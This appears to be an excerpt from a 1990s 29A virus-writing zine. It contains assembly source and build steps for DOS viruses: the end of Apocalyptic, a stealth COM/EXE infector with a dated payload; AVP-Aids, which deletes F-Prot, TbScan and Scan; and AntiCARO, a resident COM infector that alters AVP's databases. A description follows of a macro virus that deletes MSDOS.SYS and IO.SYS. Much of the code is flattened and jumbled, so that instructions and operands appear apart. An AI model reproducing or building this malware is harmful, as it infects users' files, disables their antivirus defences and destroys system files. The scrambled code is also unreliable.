era_un_com: mov push lea movsw movsb ret condiciones: push mov int cmp pop jnz stc ret nain: clc ret ;*************************************************************************** ; TBDRIVER ;*************************************************************************** Tbdriver: xor mov les cmp jnz push push mov pop pop ret ax,ax ; Annulates TBdriver,... es,ax ;really, this Av is a bx,es:[0084h] ;megashit. byte ptr es:[bx+2],0eah volvamos word ptr es:[bx+3] word ptr es:[bx+5] es,ax word ptr es:[0086h] word ptr es:[0084h] cx dx ah,02ah 21h dx,071Ah dx cx nain ; Payload trigger ; Activates on 26th july di,100h di si,bp+ss_sp ; If it's a Com, I make ;it to return


;*************************************************************************** ; STEALTH 05700h ;*************************************************************************** Stealth_tiempo: pushf call push and xor pop jnz or nada: retf 2 dword ptr cs:[Int21h] cx cl,01fh cl,01fh cx nada cl,01fh ; Calls Int21h

; Changes seconds

;**************************************************************************** ; FCB STEALTH ;**************************************************************************** FCB_Stealth: pushf call test ; Stealth of 11h/12h, by ;FCBs

dword ptr cs:[Int21h] al,al

jnz push mov int mov cmp jnz mov mov push mov int pop inc jnz add Normal_FCB: mov and xor jnz sub sbb and No_infectado: call jnc mov mov sin_nada: Sin_stealth: pop retf

sin_stealth ax bx es ah,51h 21h es,bx bx,es:[16h] No_infectado bx,dx al,[bx] ax ah,2fh 21h ax al Normal_FCB bx,7h al,es:[bx+17h] al,1fh al,1fh No_infectado word ptr es:[bx+1dh],Virus_size ; Old lenght of word ptr es:[bx+1fh],0 ;file and "normal" byte ptr es:[bx+17h],0F1h ;seconds

condiciones sin_nada word ptr es:[bx+1dh],029Ah word ptr es:[bx+1fh],0h ; Virus's payload

es bx ax 2

;**************************************************************************** ; INT 21h ;**************************************************************************** main_center: cmp jz cmp jz cmp jz cmp jz cmp jz cmp je jmp ax,5700h stealth_tiempo ah,11h fcb_stealth ah,12h fcb_stealth ah,4eh handle_stealth ah,4fh handle_stealth ah,4bh ejecutar saltito ; The main center !

;**************************************************************************** ; HANDLE STEALTH ;****************************************************************************

handle_stealth: pushf call jc pushf push anti_antivirus: mov int mov mov xor mov fpr: cmp jz inc loop mov int mov and xor jnz sub sbb and sin_infectar: call jnc mov mov no_payload: pop popf adios_handle: retf 2 cx bx es ax condiciones no_payload word ptr es:[bx+1ah],029Ah word ptr es:[bx+1ch],0h ; payload word ptr es:[bx],'-F' sin_infectar bx fpr ah,2fh 21h al,es:[bx+16h] al,1fh al,1fh sin_infectar word ptr es:[bx+1ah],Virus_size ; Subs virus size word ptr es:[bx+1ch],0 ;and places coherent byte ptr es:[bx+16h],0F1h ;seconds ; Si lo es, pasamos de hacer ;el stealth ah,62h 21h es,bx es,word ptr es:[2ch] bx,bx cx,100h ; Is it F-prot ? ; Handle stealth, functions ;4eh/4fh

dword ptr cs:[Int21h] adios_handle

ax es bx cx

;**************************************************************************** ; EXE INFECTION ;**************************************************************************** ejecutar: pushf push mov mov call mov int ax bx cx dx si di ds es bp di,ds si,dx tbdriver ax,3503h 21h ; deactivates TbDriver ; Int 3h points to the ;int 21h: less size and we

push pop mov lea int push mov int mov lea int push mov mov Noloes: mov int mov push xor int vamos_a_ver_si_exe: mov mov int jc infect: xchg push pop mov mov lea int mov add cmp jnz cmp jz cmp jnz jmp go_close: mov mov buscar_final: cmp je inc jmp

cs ds ah,25h dx,saltito 21h es bx ax ax,3524h 3h ah,25h dx,int24h 3h es bx ax ds,di dx,si

;fuck'em a bit

; We handle int 24h

ax,4300h 3h ax,4301h ax cx dx cx,cx 3h

; Saves and clears file ;attributes

byte ptr [flag],00h ax,3d02h 3h we_close ax,bx cs ds ah,3fh cx,01ch dx,cabecera 3h

; Opens file

; Reads header

al,byte ptr [cabecera] ; Makes comprobations al,byte ptr [cabecera+1] al,'M'+'Z' go_close word ptr [cabecera+18h],40h go_close word ptr [cabecera+1ah],0 go_close ; If it's all right, goes on conti

ds,di dx,si byte ptr ds:[si],0 chequeo si buscar_final ; Searches end in ds:si

chequeo: push pop cs es ; Is it a .COM ?

lea sub cmpsw jne jmp we_close: jmp conti: mov push int push and xor jz call cmp ja xor jmp

di,comtxt si,3 we_close infeccion_com


ax,5700h ax 3h dx cx cl,1fh cl,1fh close_ant pointerant ax,0200h contt si,si close_ant

; Time/date of file


; To avoid changing ;date of non-infected ;files

contt: push pop shr shl add sub push and push call pop pop mov inc mov mov mov call mov div inc mov mov mov mov call mov lea push pop mov int ax si ax,4 dx,12 dx,ax dx,word ptr ds:cabecera+8 dx si,0fh si copy si dx ds:word dx ds:word ds:word ds:word

ptr [cs_ip+2],dx ptr [ss_sp],dx ptr [cs_ip],si ptr [ss_sp+2],((virus_size+100h-15h)/2)*2

pointerant cx,200h cx ax word ptr [cabecera+2],dx word ptr [cabecera+4],ax word ptr [cabecera+0ah],((virus_size)/16)+10h ax,4200h pointer cx,1ch dx,cabecera cs ds ah,40h 3h

close_ant: pop or je inc or int cx dx ax si,si close ax cl,1fh 3h

close: pop inc int mov int nahyuck: pop int pop int pop popf jmp Pointerant: mov Pointer: xor cwd int ret cx,cx 3h ax,4202h ax dx ds 3h ax dx ds 3h ; Restores Int 24h y 3h dx cx ax ax 21h ah,03eh 3h ; Attributes

bp es ds di si dx cx bx ax saltito

;**************************************************************************** ; COM INFECTION ;****************************************************************************

infeccion_com: mov int jc xchg push pop mov mov push int push and xor jz ax,3d02h 3h close bx,ax cs ds byte ptr [flag],1h ax,5700h ax 3h dx cx cl,1fh cl,1fh close_ant ; To make the virus know it's ;a com when restoring ; Time/date ; Open

quesiquevale: mov mov lea int call cmp ja cmp jna jmp ah,3fh cx,3 dx,ss_sp 3h ; Reads beggining of file

alnoin: puedes_seguir:

pointerant ; Lenght check ax,0200h puedes_seguir ax,(0ffffh-virus_size-100h) puedes_seguir noinz

sub mov call mov call mov lea mov int jmp

ax,3 word ptr [cabecera],ax copy ax,4200h pointer ah,40h dx,salt cx,3h 3h close_ant ; Jumping to code at ;beggining ; Appending

;**************************************************************************** ; DATA ;**************************************************************************** autor: comtxt: flag: salt: cabecera: SS_SP: Checksum: CS_IP: Cequis: Encrypt_end copy: push pop xor call mov mov lea int call ret cs ds bp,bp encryptant ah,40h cx,virus_size dx,letsrock 3h deencrypt db db db db db dw dw dw dw 'Apocalyptic by Wintermute/29A' 'COM' 0 0e9h 0eh dup (90h) 0,offset virus_end+100h 0 offset host,0 0,0,0,0 byte


; Don't let bp fuck us ; Encrypts ; Copies

; Deencrypts

;**************************************************************************** ; ENCRYPT ROUTINE ;**************************************************************************** encryptant: lea si,encrypt_end ; Encrypts


mov mov sub xor ror mov dec loop ret

cx,encrypt_size dl,byte ptr [si] dl,2h dl,0f9h dl,4 byte ptr [si],dl si enc_loop

deencrypt: lea mov mov mov mov rol xor add mov dec loop ret mov ret db dw 0,0 si,encrypt_end+bp cx,encrypt_size di,8 dl,byte ptr [si] al,dl dl,4 dl,0f9h dl,2h byte ptr [si],dl si encri ; Deencrypts


Int24h: Saltito: int21h:

al,3 0eah

virus_end tomacha:

label byte

mov ret

cs:word ptr encrypt_start-2+bp,deencrypt-encrypt_start ; This is cause I don't like putting a stupid flag, ; this two commands won't be copied

CODIGO ends END Letsrock VSTACK segment para STACK 'Stack' db ends 100h dup (90h)

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

AVP-Aids, by Tcp/29A




AVP is probably the best antivirus nowadays, but it's the most easily foolable too :) One of its best advantages is that the user himself is able to write his own detection and disinfection routines for any new virus he may find. But a virus author could use that facilities to write a virus, don't you think? :) All we need to have is the routine editor (AVPRO) which is included in the registrated version of AVP (2.1 and above), or the -older- one included in the shareware version of AVP 2.0, which is the one i used. This routine editor gives us a lot of functions and structures we can call. For more info on this, read their definitions in a file named DLINK.H which is included in AVP. Having access to the vectors of those functions, we may either change or redirect them as a normal virus does with the standard interrupt vectors. We could write trojans, droppers, a stealth routine, and even a whole virus... imagination is the only limit you have ;) As an example of this, i wrote a simple virus which i named AVP-Aids, because it works in the same way as the known disease does: - It destroys the organism defenses: deletes F-Prot, TbScan and Scan when AVP tries to scan them. - Favours the appearing of opportunist diseases: AVP won't detect any virus (only a few using it heuristic scanner), so any virus, though being a super-old one, will be able to infect the system. I recommend the reading of the file USERGUID.DOC which is included in the AVP pack for a better comprehension about the way AVP-Aids works. For getting a working dropper of AVP-Aids, first compile the next two files (tasm /m /ml /q avp_dec.asm; tasm /m /ml /q avp_jmp.asm). **** File: AVP_DEC.ASM ***********************************************

aids_decode segment byte public 'CODE' assume cs:aids_decode _decode proc far aids proc far push ds push bp mov bp,seg _Page_A ; Get AVP's data segment mov ds,bp les di,ds:_Page_A ; Get pointer to Page_A mov cx,400h ; Length of Page push cx mov al,1 ; If al=0 then AVP detects the Win95.Boza.A ; in a high number of files... rules :-DDD rep stosb ; Clear Page_A les di,ds:_Page_B pop cx push cx rep stosb

; Clear Page_B

les di,ds:_Header pop cx rep stosb

; Clear Header

push ds pop es lds si,ds:_File_Name ; lodsw cmp ax,'-f' ; je del_file cmp ax,'bt' ; jne check_sc lodsw check_sc: cmp ax,'cs' ; jne no_scan lodsw cmp ax,'na' jne no_scan del_file: push es pop ds lds dx,ds:_File_Full_Name mov ah,41h int 21h ; no_scan: pop bp pop ds xor ax,ax retf ; aids endp _decode endp aids_decode ends public public extrn extrn extrn extrn extrn end _decode aids _Page_A:dword _Page_B:dword _Header:dword _File_Name:dword _File_Full_Name:dword

File scanned Check for F-*.* Check for TBSCAN

Check for SCAN

Delete file (F-Prot, Scan, TBScan)

Return to AVP (AX==0 <-> RCLEAN)

; **** EOF: AVP_DEC.ASM ************************************************ ; ; **** File: AVP_JMP.ASM *********************************************** aids_jmp segment byte public 'CODE' assume cs:aids_jmp _jmp proc far call far ptr aids retf _jmp endp aids_jmp ends public extrn end _jmp aids:far

; call the aids procedure ; Return to AVP

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

**** EOF: AVP_JMP.ASM ************************************************ Now that we got their corresponding OBJ files, we load AVPRO and edit a new viral database which we'll name AVP_AIDS.AVB. Add a File register, and write the name and the commentary you want, it doesn't mind. Now we link (Alt-L) an external routine. Choose AVP_DEC.OBJ and accept the register. Because the second OBJ file makes a call to a procedure of the first one, we will need AVP to load in memory the database we just created. For this we must save this base and add it to the active ones by pressing F4. Once we have done this, we must edit again AVP_AIDS.AVB and add a jmp register. Now link AVP_JMP.OBJ as an external routine, and if everything is right we'll be able to save and exit. After doing all this, we must compile the virus itself: for doing it, we must modify the database length equ (length_aids) with the correct value and follow the next steps: tasm /m avp_aids.asm tlink avp_aids.obj exe2bin avp_aids.exe copy /b As *all_this* is quite hard to do, Mister Sandman has included a fully compiled second generation of this virus in \FILES :) **** File: AVP_AIDS.ASM ********************************************** Name: Author: When: AVP-Aids Tcp / 29A 6-April-96 : 1st implementation November-96: Now doesn't hang AVP 2.2x Spain A simple and lame virus to demostrate the AVPRO API capabilities... to make virii... ;) Also fools TBAV... (except this first generation)

Where: Comments:


; Place here the length of your base

avp_aids segment byte public assume cs:avp_aids, ds:avp_aids, ss:avp_aids org 0 start: call get_delta next: avp_set base f_base f_mask _format db db db db db 'AVp.SeT',0 'KRN386.AVB',13,10 'kRn386.aVb',0 '*.cOm',0 'c:\DoS\fORmaT.cOM',0

six db 0cdh,20h,?,?,?,? ; Original bytes jmp_vir db 'PK' ; Fools TBScan pop bx ; Fix ('PK'= push ax, dec bx) db 0e9h ; jmp ofs_vir dw ? db '[AVP-Aids, Tcp / 29A]'

get_delta: mov di,100h pop bp push di sub bp,offset(next) ; Get delta-offset mov di,100h push di lea si,[bp+six] movsw movsw movsw ; Restore infected file mov ah,2fh int 21h ; Get DTA push es push bx lea dx,[bp+offset(dta)] mov ah,1ah int 21h ; Set DTA mov ah,4eh xor cx,cx lea dx,[bp+f_mask] int 21h ; Find-first *.com jc check_for_format lea dx,[bp+offset(dta)+1eh] call infect_file check_for_format: lea dx,[bp+offset(_format)] ; Try to infect c:\dos\ call infect_file mov ax,3d00h ; Search for avp.set lea dx,[bp+avp_set] int 21h jc exec_host xchg ax,bx mov ah,3fh lea dx,[bp+dta] mov cx,666h ;-) int 21h push ax ; length(AVP.SET) mov ah,3eh int 21h ; Close file mov ah,3ch xor cx,cx lea dx,[bp+f_base] int 21h ; Create krn386.avb (viral database) xchg ax,bx mov ah,40h push ax lea dx,[bp+base] mov cx,offset(f_base)-offset(base) int 21h ; Write base name in file pop ax lea dx,[bp+dta] pop cx int 21h ; Write rest of AVP.SET mov ah,3eh int 21h mov ah,41h lea dx,[bp+avp_set] int 21h ; Delete AVP.SET mov ah,56h mov di,dx

lea dx,[bp+f_base] int 21h mov ah,3ch xor cx,cx int 21h xchg ax,bx mov ah,40h lea dx,[bp+aids_base] mov cx,LENGTH_AIDS int 21h mov ah,3eh int 21h exec_host: pop dx pop ds mov ah,1ah int 21h push cs push cs pop ds pop es ret

; Rename krn386.avb to AVP.SET

; Reset krn386.avb

; Write the AVP-AIDS base

; Restore DTA

infect_file: mov ax,3d02h int 21h ; Open jc no_file xchg ax,bx mov ah,3fh mov cx,6 lea dx,[bp+offset(six)] int 21h ; Read 6 bytes cmp ax,cx ; File >6 bytes? jne close_file ; No? ten jmp cmp word ptr [bp+six],'ZM' ; EXE file but .com extension? je close_file ; Yes? then jmp cmp word ptr [bp+six],'KP' ; Already infected? je close_file ; Yes? then jmp mov ax,4202h cwd xor cx,cx int 21h ; Go end mov ah,40h mov dx,bp mov cx,offset(vir_end) int 21h ; Write virus mov ax,4200h cwd xor cx,cx int 21h ; Go start mov ax,[bp+offset(dta)+1ah] ; File size sub ax,6 mov [bp+ofs_vir],ax mov ah,40h lea dx,[bp+jmp_vir] mov cx,6 int 21h ; Write jump to virus mov ax,5701h mov cx,[bp+offset(dta)+16h] ; Time mov dx,[bp+offset(dta)+18h] ; Date int 21h ; Set time/date to original close_file: mov ah,3eh

int 21h no_file: ret

; Close file

aids_base db LENGTH_AIDS dup(?) vir_end: dta: avp_aids ends end start

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

AntiCARO by Mister Sandman/29A




As i don't agree with CARO and with the way the name viruses, and specially the way they *misnamed* VLAD's Bizatch, i decided to write this virus... just to protest against the biggest dickhead under the sun, Vesselin Bonchev, the virus-baptizer who does whatever he wants making abuse of his 'power' in that fucking sect named CARO. And as i know that, albeit he works at Frisk, his favourite AV is AVP, i just took the decission to write this baby, which will modify AVP so it will detect Bizatch as 'Bizatch_:P' and not as Boza. The virus is lame as hell (but i swear i wasn't able to reach Ratboy's or YAM's coding skills)... i only developed its originality. Anyway, it's interesting to see how does it modify AVP: It looks for AVP.SET in the current directory it's being loaded from. If it finds that file, it will insert a new viral database in the second field, and later it will drop that new database, which contains the data needed for detecting Bizatch from AVP (have a look at the code, which is found at the end of this virus). As this new viral database has been loaded before the rest of the other databases (except of KERNEL.AVB, which must be always loaded in the first place), it will be the first one containing Bizatch's search strings, so it will be the fortunate participant to show the name of the virus it has detected :) About the virus itself, as i told before, it's a lame TSR COM infector which hits files on execution (4b00h) and uses SFTs for performing the file infection. This virus is dedicated to my friends Quantum and Qark (ex VLAD) for obvious reasons and to Tcp/29A because of his help on its writing. Compiling instructions: tasm /m anticaro.asm tlink anticaro.obj exe2bin anticaro.exe

anticaro assume org anticaro_start anticaro_size entry_point: delta_offset: sub mov lea int jc

segment byte public cs:anticaro,ds:anticaro 0 label equ byte anticaro_end-anticaro_start

call delta_offset pop bp bp,offset delta_offset ax,3d02h dx,[bp+avp_set] 21h mem_res_check

; Get ë-offset ; for l8r use ; Try to open AVP.SET ; if it's found in the ; current directory

xchg mov mov lea int push mov xor mov int mov xor int mov mov lea int mov pop sub lea int mov int mov xor lea int xchg mov mov lea int mov int mem_res_check: mov int cmp cmp je install: dec mov xor cmp jna sub sub add

bx,ax ah,3fh cx,29Ah dx,[bp+anticaro_end] 21h ax ax,4200h cx,cx dx,0ch 21h ah,40h cx,cx 21h ah,40h cx,0dh dx,[bp+bizatch_name] 21h ah,40h cx cx,0ch dx,[bp+anticaro_end+0ch] 21h ah,3eh 21h ah,3ch cx,cx dx,[bp+bizatch_base] 21h bx,ax ah,40h cx,base_size dx,[bp+bizatch_avb] 21h ah,3eh 21h mov ax,'CA' bx,'RO' 21h ax,'SU' bx,'X!' nothing_to_do mov ax ds,ax di,di ax,es

; Read the whole file ;-)

; Lseek to the second ; line (first must ; be always KERNEL.AVB)

; Truncate file from ; current offset

; ; ; ; ; ; ; ;

Write our viral database name (BIZATCH.AVB) as second field And write the rest of the original AVP.SET we read b4 to our buffer

; Close file

; ; ; ;

Create the new viral database (BIZATCH.AVB) which contains Bizatch's detection data

; Write the database ; contents in the new ; created file

; Close file

; Check if we're already ; memory resident

; Coolio residency ; check... CARO SUX! :P

; Program's MCB segment

byte ptr ds:[di],'Y' nothing_to_do

; Is it a Z block?

word ptr ds:[di+3],((anticaro_size/10h)+2) word ptr ds:[di+12h],((anticaro_size/10h)+2) ax,word ptr ds:[di+3]

inc mov mov mov mov mov mov inc cld push pop mov mov lea rep push mov mov mov lea movsw movsw mov mov pop push pop nothing_to_do: mov push movsw movsw ret

ax ds,ax byte ptr word ptr word ptr word ptr word ptr ax

ds:[di],'Z' ; Mark block as Z ds:[di+1],8 ; System memory ds:[di+3],((anticaro_size/10h)+1) ds:[di+8],4f44h ; Mark block as owned ds:[di+0ah],0053h ; by DOS (44h-4fh-53h,0)

cs ds es,ax cx,anticaro_size si,[bp+anticaro_start] movsb ds ds,cx es,ax si,21h*4 di,old_int_21h+1

; Copy virus to memory

; Save int 21h's ; original vector

word ptr [si-4],offset new_int_21h word ptr [si-2],ax ; Set ours ds ds es


lea si,[bp+host_header] ; Restore host's header di,100h ; and jump to cs:100h di ; for running it

; **´ note_to_stupid_avers ;) Ã******************************************* copyright db db db db db db 0dh,0ah,'[AntiCARO, by Mister Sandman/29A]',0dh,0ah 'Please note: the name of this virus is [AntiCARO] ' 'written by Mister Sandman of 29A... but... dear ' 'Bontchy... name it however *you* (and not CARO) want,' ' as usual; we just don''t mind your childish ' 'stupidity :)',0dh,0ah

; **´ AntiCARO's int 21h handler Ã**************************************** new_int_21h: jnz cmp jnz mov mov iret execution?: je cmp ax,'CA' execution? bx,'RO' execution? ax,'SU' bx,'X!' ; Residency check ; Are they asking my ; opinion about CARO?

; Ok, CARO SUX! :P

cmp ax,4b00h check_name

; This is the moment ; we were waiting for ;)''

old_int_21h: dw

db 0,0


; jmp xxxx:xxxx ; Original int 21h

; **´ Infection routines Ã************************************************ check_name: push cld mov int xchg call jc push pop mov cmp je push ax bx cx dx si di ds es ; Push all this shit ; and clear direction ; flag ; Open the file is ; about to be executed

ax,3d00h 21h bx,ax get_sft dont_infect cs ds ax,word ptr es:[di+28h] ax,'OC' check_file ; besides COMs, pop es ds di si dx cx bx ax old_int_21h xor al,al al,byte ptr es:[di+4] ax word ptr es:[di+2],2 ah,3fh cx,4 dx,host_header 21h ax,word ptr host_header al,ah al,0a7h close_file

; Get its SFT ; Shit... outta here ; CS=DS

; Check extension ; There aren't too many ; 'COx' executables right? :) ; Pop out registers and ; jmp to the original ; int 21h handler ; Clear and save file ; attributes

dont_infect: pop jmp check_file: xchg push mov mov mov lea int mov add cmp je cmp je mov cmp ja push mov mov mov mov lea int pop

; Set read/write mode ; Read first four ; bytes to our buffer

; ; ; ;

First word in AX M+Z or Z+M=0a7h :) So is it an EXE file? Fuck it

byte ptr host_header+3,90h ; Check file for any close_file ; previous infection ax,word ptr es:[di+11h] ax,0faebh close_file ax sub ax,3 word ptr new_header+1,ax word ptr es:[di+15h],0 ah,40h cx,4 dx,new_header 21h ax ; Check file length ; > 64235?

; Save length ; Make the initial ; jmp to our code ; Lseek to the start ; Write in our cooler ; header :)

; Lseek to the end

mov mov mov lea int close_file: int pop mov jmp

word ptr es:[di+15h],ax ah,40h cx,anticaro_size dx,anticaro_start 21h mov 21h ah,3eh

; of the file ; ; ; ; Append our code Huh? where's the call to the poly engine? :) ; Close our victim

ax byte ptr es:[di+4],al dont_infect

; Restore attributes ; Pop shit and jump ; to the original int 21h

; **´ Subroutines... or... oh, well, subroutine :) Ã********************** get_sft: mov int jc xor mov mov int bad_sft: ret push ax bx ax,1220h 2fh bad_sft bx,bx ax,1216h bl,byte ptr es:[di] 2fh pop bx ax

; Get job file table ; in ES:DI (DOS 3+)

; Get the address of ; the specific SFT for ; our handle

; Pop registers and ; return to the code

; **´ Data area Ã********************************************************* host_header new_header avp_set bizatch_name bizatch_base ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; db db db db db 0cdh,20h,90h,90h 0e9h,?,?,90h 'avp.set',0 'BIZATCH.AVB',0dh,0ah 'bizatch.avb',0 ; ; ; ; ; Host's header New header buffer Can't you guess it? :) Our database field Viral database name

**´ BIZATCH.AVB viral database Ã**************************************** The hex dump below is the AVP full-compatible viral database which contains the necessary data for detecting Bizatch. This was done by compiling the 'belower' code, linking it to a new AVPRO record, and filling out some of this record's data fields. These are the steps: Compile the source below this hex dump: tasm /m /ml /q biz_dec.asm. Execute AVP's AVPRO.EXE. Edit a new viral dabase (Alt-E, F3, and then type 'bizatch.avb'). Insert a file record in it (Alt-I, and then select 'File virus'). Fill the form as follows: ÉÍ[þ]ÍÍÍÍÍÍÍÍÍÍÍ File virus ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º Name: Bizatch_:P Type [ ] COM º º Comment: Fuck you, Bontchy [X] EXE º º [ ] SYS º º Area 1 Header [ ] WIN º º Offset 0000 º º Length 00 Method Delete º º Area 2 Page_C Area Header º º Offset 0000 From +0000 º º Length 0a Length +0000 º º To +0000 º > º Link Ü +0000 º º ßßßßßß Cut 0000 º

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

> º Sum Ü 00000000 º º ßßßßßß 00000000 º º º º Ok Ü Cancel Ü º º ßßßßßßßßßß ßßßßßßßßßß º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ - Link biz_dec.obj (Alt-L, and then select it). - Type in Bizatch's entry point for calculating its sum (Alt-S, don't select any file, and type in 'e8 00 00 00 00 5d 8b c5 2d 05' in the dump gap AVPRO will show you. - Save the new record and the new viral database. As you see, this is quite tedious to do, and that's why i included directly the hex dump of the result of all these steps, which seems to me a bit more easy for you :) So skip the hex dump and have a look at biz_dec.asm's code, which is the really important thing of this virus.

base_start base_size bizatch_avb db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db

label byte equ base_end-base_start-3 db 2dh,56h,0c2h,00h,00h,00h,00h,01h,0cch,07h,04h 0bh,0cch,07h,10h,0bh,00h,00h,01h,00h,00h,00h,00h 00h,0dh,0ah,41h,6eh,74h,69h,76h,69h,72h,61h,6ch 20h,54h,6fh,6fh,6ch,4bh,69h,74h,20h,50h,72h,6fh 0dh,0ah,20h,62h,79h,20h,45h,75h,67h,65h,6eh,65h 20h,4bh,61h,73h,70h,65h,72h,73h,6bh,79h,20h,0dh 0ah,28h,63h,29h,4bh,41h,4dh,49h,20h,43h,6fh,72h 70h,2eh,2ch,20h,52h,75h,73h,73h,69h,61h,20h,31h 39h,39h,32h,2dh,31h,39h,39h,35h,2eh,0dh,0ah,50h 72h,6fh,67h,72h,61h,6dh,6dh,65h,72h,73h,3ah,0dh 0ah,41h,6ch,65h,78h,65h,79h,20h,4eh,2eh,20h,64h 65h,20h,4dh,6fh,6eh,74h,20h,64h,65h,20h,52h,69h 71h,75h,65h,2ch,0dh,0ah,45h,75h,67h,65h,6eh,65h 20h,56h,2eh,20h,4bh,61h,73h,70h,65h,72h,73h,6bh 79h,2ch,0dh,0ah,56h,61h,64h,69h,6dh,20h,56h,2eh 20h,42h,6fh,67h,64h,61h,6eh,6fh,76h,2eh,0dh,0ah 0dh,0ah,00h,0dh,0ah,38h,00h,00h,00h,10h,00h,42h 69h,7ah,61h,74h,63h,68h,5fh,3ah,50h,00h,00h,00h 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,03h 00h,00h,0ah,0fh,0feh,0ffh,0ffh,01h,00h,00h,00h,00h 00h,00h,00h,0ch,00h,00h,00h,00h,00h,00h,00h,00h,00h 00h,00h,00h,00h,0dh,01h,12h,00h,00h,00h,46h,75h,63h 6bh,20h,79h,6fh,75h,2ch,20h,42h,6fh,6eh,74h,63h,68h 79h,00h,0dh,02h,01h,01h,00h,00h,98h,07h,00h,28h,86h 00h,02h,03h,01h,0adh,8ch,21h,00h,07h,5fh,50h,61h 67h,65h,5fh,43h,00h,07h,5fh,48h,65h,61h,64h,65h 72h,00h,05h,5fh,53h,65h,65h,6bh,00h,05h,5fh,52h 65h,61h,64h,00h,53h,90h,0eh,00h,00h,01h,07h,5fh 64h,65h,63h,6fh,64h,65h,00h,00h,00h,97h,0a0h,8ah 00h,01h,00h,00h,1eh,55h,0bdh,00h,00h,8eh,0ddh,0c4h 3eh,00h,00h,26h,8bh,6dh,3ch,33h,0c0h,50h,55h,9ah 00h,00h,00h,00h,58h,58h,0c4h,3eh,00h,00h,0b8h,0f8h 00h,50h,06h,57h,9ah,00h,00h,00h,00h,83h,0c4h,06h 0c4h,3eh,00h,00h,26h,81h,3dh,50h,45h,75h,29h,26h 8bh,4dh,06h,51h,0b8h,28h,00h,50h,06h,57h,9ah,00h 00h,00h,00h,83h,0c4h,06h,59h,0c4h,3eh,00h,00h,26h 81h,3dh,76h,6ch,75h,08h,26h,81h,7dh,02h,61h,64h 74h,07h,0e2h,0dbh,33h,0c0h,5dh,1fh,0cbh,26h,0c4h 7dh,14h,06h,57h,9ah,00h,00h,00h,00h,58h,58h,0c4h 3eh,00h,00h,0b8h,0ah,00h,50h,06h,57h,9ah,00h,00h

db db db db db db base_end ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

00h,00h,83h,0c4h,06h,0ebh,0dah,9ah,9ch,2dh,00h 0c8h,03h,56h,02h,0c4h,09h,56h,02h,0cch,14h,56h 03h,0c4h,1ch,56h,01h,0cch,25h,56h,04h,0c4h,2eh 56h,01h,0cch,43h,56h,04h,0c4h,4dh,56h,01h,0cch 6ch,56h,03h,0c4h,74h,56h,01h,0cch,7dh,56h,04h,57h 8ah,02h,00h,00h,74h label byte

**´ Bizatch's detection code Ã****************************************** biz_dec segment byte public 'code' assume cs:biz_dec;ds:biz_dec;es:biz_dec;ss:biz_dec proc push mov mov les mov xor push call pop les mov push call add les cmp jne mov push mov push call add pop les cmp jne cmp je search_loop: back_to_avp: loop xor pop retf far ds bp bp,seg _Header ds,bp di,_Header bp,word ptr es:[di+3ch] ax,ax ax bp far ptr _Seek ax ax di,_Page_C ax,0f8h ax es di far ptr _Read sp,6 di,_Page_C word ptr es:[di],'EP' back_to_avp cx,word ptr es:[di+6] cx ax,28h ax es di far ptr _Read sp,6 cx di,_Page_C word ptr es:[di],'lv' search_loop word ptr es:[di],'da' lseek_object next_entry ax,ax bp ds


; Get AVP's data segment

; Get pointer to header ; Get PE header offset

; Lseek to PE header ; Remove 2 words from stack ; Destination=buffer ; Size=f8h bytes ; Read f8h bytes from ; the PE header ; Remove 3 words from stack ; The call changes ES ; Portable Executable?

; Objects number


; Length of each ; object table entry ; Read object ; Remove 3 words from stack ; Point to our buffer ; vl(ad) object?

; (vl)ad object? ; Bingo! :) ; Process next object ; R_CLEAN==0 ; Return to AVP

lseek_object: les push call

di,dword ptr es:[di+14h] es di far ptr _Seek

; Lseek to the object ; physical offset

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

pop mov les push call add jmp endp ends

ax ax ax,0ah di,_Page_C ax es di far ptr _Read sp,6 back_to_avp

; Read ten bytes to ; our buffer (page C)

_decode biz_decode public extrn extrn extrn extrn end

; And now AVP will compare ; those ten bytes with ; Bizatch's search string

_decode _Page_C:dword _Header:dword _Seek:far _Read:far

; ; ; ;

External AVP's API functions and buffers (lseek, read, header, read buffer...)

anticaro_end anticaro end

label byte ends anticaro_start

' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '

Galicia Kalidade (@) MaD MoTHeR TeaM




This baby is the smallest macro virus ever (as far as i know). I wrote it as a code example of the VBA language tutorial published in this issue. It's an encrypted WinWord infector which infects on AutoClose and... look at this... it's the unique virus in the world which infects by 'doing' a dir a:... but not in the way you're supposing ;-) On AutoClose, it copies itself and checks the closed document for the words 'dir a:', ignoring any case or font... if such string is found, it will delete MSDOS.SYS and IO.SYS and then display a message box. Btw, as this is the first spanish macro virus, i decided it will work only under spanish versions of WinWord :-) to write it so

